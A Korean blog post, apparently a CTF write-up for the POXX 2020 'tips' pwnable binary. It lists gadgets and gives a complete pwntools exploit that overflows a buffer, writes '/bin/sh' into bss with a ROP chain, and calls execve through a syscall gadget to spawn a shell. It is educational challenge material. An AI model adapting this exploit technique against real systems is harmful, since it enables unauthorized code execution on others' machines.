System/PWNABLE

[POXX 2020] tips

728x90

checksec

- 64bit

- NX

- not stripped

- statically linked >> plt와 got가 따로 구분되지 않는다.

Analyze

Pseudo Code

main() 함수
menu()함수
add() 함수

함수리스트를 살펴보면 가젯을 심어둔 함수가 있음을 확인할 수 있다.

 

실행

"/bin/sh"문자열이 포함되어 있지 않아

따로 writableArea에 넣어줘야한다.

bss 영역: 0x6cbb60

 

gadgets

~/rp-lin-x64 -f ./tips -r 2 grep "syscall"

syscall ; ret ; = 0x43ef25

pop rax ; pop rdx ; pop rdi ; pop rsi ; ret ; = 0x4009bc

pop rdx ; pop rdi ; pop rsi ; ret ; = 0x4009bd

pop rax ; ret ; = 0x41f854

 

SROP 방식으로 exploit 코드를 짜면 될 것 같다!

▷▷ doongdangdoongdangdong.tistory.com/48?category=869864

 

 

 

Exploit

#!/usr/bin/python
from pwn import *
#context.log_level = 'debug'

p = process("./tips")
elf = ELF("./tips")

ppppr = 0x4009bc
pppr = 0x4009bd
pax = 0x41f854

syscall = 0x43ef25
read_add = 0x43f880
add = elf.symbols['add']

writable = 0x6cbb60 + 0x10 #bss area
binsh = "/bin/sh\x00"

#bss area - "/bin/sh" write
pl = "A"*(0x20 + 8)
pl += p64(pppr)
pl += p64(len(binsh))
pl += p64(0)
pl += p64(writable)
pl += p64(read_add)
pl += p64(add)

p.recvuntil("?\n")
p.sendline(pl)
p.send(binsh)

pl = "A"*(0x20 + 8)
pl += p64(ppppr)
pl += p64(0x3b)
pl += p64(0)
pl += p64(writable)
pl += p64(0)
pl += p64(syscall)

p.recvuntil("?\n")
p.sendline(pl)
p.interactive()

- binsh 문자열을 삽입하기 위해 read함수를 호출해 writable 영역에 binsh 길이만큼의 문자열("binsh")을 저장하고

syscall 가젯과 이전 페이로드에서 저장한 binsh 문자열을 이용해 exploit 할 수 있다.

!성공!

SMALL

'System > PWNABLE' 카테고리의 다른 글

[HackCTF] ROP  (2) 2021.02.01
[HackCTF] bof_basic  (1) 2021.01.22
[POXX 2020] investigator  (0) 2021.01.19
[LOB] gremlin → cobolt  (4) 2021.01.15
[LOB] gate → gremlin  (2) 2021.01.14